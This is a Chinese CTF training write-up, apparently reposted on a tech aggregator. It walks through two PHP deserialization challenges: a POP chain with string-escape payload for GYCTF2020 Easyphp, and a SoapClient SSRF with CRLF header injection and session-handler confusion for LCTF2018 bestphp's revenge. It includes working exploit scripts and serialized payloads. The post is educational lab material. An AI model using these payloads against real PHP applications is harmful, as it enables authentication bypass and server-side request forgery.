IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [BUUCTF]第五天训练日志 -> 正文阅读

[PHP知识库][BUUCTF]第五天训练日志

反序列化

[GYCTF2020]Easyphp

知识点

  • PHP反序列化字符逃逸:
    PHP在进行反序列化的时候,只要前面的字符串符合反序列化的规则并能成功反序列化,那么将忽略后面多余的字符串

WP

在这里插入图片描述

源码泄露www.zip,解压发现php文件lib.php和update.php可以利用
update.php是输出flag

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
	echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}
?>

看lib.php,发现主要是反序列化的有关操作,开始审计

class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

dbCtrl类主要获取了username,password和token,在login函数中,admin用户存在且token=admin,或者当$this->password的md5值与数据库查询的密码相同即可登录成功。

class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}

User类中可以使$_SESSION['login']=1并且返回id,同时查询语句是select id,password from user where username=?,如果 查询成功则挑战到update.php执行输出flag,那么接下来就是如何构造POP链来执行sql语句。
继续看lib.php中的可利用函数,在UpdateHelper中__destruct函数可以输出sql,如果将$sql实例化为User类的对象,在该类被结束销毁时调用User::__toString方法。

Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}

接着在toString方法中用nickname变量调用update方法,以age作为参数,

 public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }

update方法中有$this->getNewinfo()=>Info()的调用逻辑
$nickname实例化为Info类的对象,从而可以调用Info::__call方法,并且以$age中的值作为参数,看Info::_call方法

class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}

可以看到其用$CtrCase变量调用了login()方法,且参数就是上一步通过User.age的值传进来的。这样我们只需要将这个类里的$CtrlCase变量实例化为dbCtrl类的对象,这句话就相当于调用了dbCtrl::login($sql),最后对dbCtrl类里的一些变量赋值成我们构造的即可,并且dbCtrl::login($sql)中的$sql参数,实际上是User类中$age变量传入的。
反序列化脚本:

<?php
class User
{
    public $age = null;
    public $nickname = null;
    public function __construct()
    {
        $this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';//c4ca4238a0b923820dcc509a6f75849b为1的md5值
        $this->nickname = new Info();
    }
}
class Info
{
    public $CtrlCase;
    public function __construct()
    {
        $this->CtrlCase = new dbCtrl();
    }
}
class UpdateHelper
{
    public $sql;
    public function __construct()
    {
        $this->sql = new User();
    }
}
class dbCtrl
{
    public $name = "admin";
    public $password = "1";
}
$o = new UpdateHelper;
echo serialize($o);

运行得到

O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

接下来看反序列化的利用点
update.php可以跟进到User类的update()函数,可以看到反序列化的是getNewinfo()的返回值

public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }

继续跟进getNewinfo,返回的是经safe处理的序列化的Info类对象。

public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}

所以最终能够反序列化的不是我们直接传入的字符串,而是用我们传入的值实例化一个Info类的对象,然后对这个对象进行序列化,再对这个序列化结果进行safe() 处理,最后得到的值再进行反序列化。
safe函数,将长度小于6的字符串直接替换成了长度为6的hacker。那么就涉及到了反序列化字符串逃逸的知识。

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

接下来看这篇WP讲反序列化字符串逃逸比较详细,之后再做补充。
利用引号闭合后构造合理的序列化字符串
payload

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

在update.php当中POST传入payload,然后再login.php任意密码登录admin账户即可得到flag

bestphp’s revenge

知识点

  • PHP原生类SoapClient的SSRF
  • Session反序列化
  • 变量覆盖
  • CRLF

WP

题目给出了index.php和flag.php的源码
index.php

//index.php
 <?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

flag.php

only localhost can get flag!
session_start(); 
echo 'only localhost can get flag!'; 
$flag = 'LCTF{*************************}';
 if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
 $_SESSION['flag'] = $flag; 
 }
 only localhost can get flag! 

先看index.php的可利用点,session_start和call_user_func可以想到session的反序列化,session_start可以接受数组来触发。
在这里插入图片描述

接着可以利用f传入extract覆盖b为我们想要的函数。
解题:
先说SoapClient,参考文章:参考从几道CTF题看SOAP安全问题

SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式
SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。

如果能利用反序列化调用Soapclient向来访问flag.php,就能实现SSRF,那么就接下来需要思考如何触发反序列化和控制反序列化的内容。
利用点就是

call_user_func($_GET['f'], $_POST);

如果call_user_func传入的是array类型,那么就会将数组成员当作类名和方法。
那么利用过程就是:

  • 先用extract()将$b覆盖为call_user_func方法
  • 传入name=SoapClient,经reset($session)call_user_func($b,$a)就变成了call_user_func(array(‘SoapClient’,‘welcome_to_the_lctf2018’)),call_user_func(SoapClient->welcome_to_the_lctf2018),因为SoapClient中没有welcome_to_the_lctf2018这个方法就会触发_call方法执行SoapClient的反序列化。
    POC:
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "Ev1near\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
    'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;

这个POC又涉及到CRLF,如果http请求遇到\r\n即%0d%0a,会将前半部分当做头部解析,而将剩下的部分当做体,那么如果头部可控,就可以注入crlf实现修改http请求包,利用crlf伪造请求去访问flag.php并将结果保存在cookie为PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4的session中。
运行得到

O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A55%3A%22Ev1near%0D%0ACookie%3A+PHPSESSID%3Dtcjr6nadpk3md7jbgioa6elfk4%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

最后是让session反序列化的内容可控,这里涉及到php反序列化的机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。
在php.ini中存在三项配置项:

session.save_path=""   --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认是php(5.5.4后改为php_serialize)

PHP内置了多种处理器用于存储$_SESSION数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:
在这里插入图片描述
配置选项 session.serialize_handler,通过该选项可以设置序列化及反序列化时使用的处理器。
而如果序列化和PHP在反序列化存储的_SEESION数据时使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的伪造,甚至可以伪造任意数据。
当存储是php_serialize处理,然后调用时php去处理,如果这时注入的数据时a=|O:4:“test”:0:{},那么session中的内容是a:1:{s:1:“a”;s:16:"|O:4:“test”:0:{}";},那么
a:1:{s:1:“a”;s:16:"会被php解析成键名,后面就是一个test对象的注入。

因此可以构造session_start([‘serialize_handler’=>‘php_serialize’])达到注入的效果。

先更改session序列化时候的引擎,但是将payload写入session中:

在这里插入图片描述
之后再调用这个PHP原生类的不存在的方法,触发SSRF:
在这里插入图片描述
再将PHPSESSID改成payload中构造的那个,flag.php的逻辑是把flag写进session中,所以要让SoapClient携带指定的cookie访问flag.php就能把flag写进cookie对应的session中。然后我们拿着这个cookie访问的话,index.php就会把session的内容打印出来,再访问页面即可得到flag:
在这里插入图片描述

反思

还要对各个方法调用之间的逻辑加深理解和掌握,常温习总结。
参考文章

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-09 10:01:53  更:2021-08-09 10:03:02 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/8 8:23:57-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码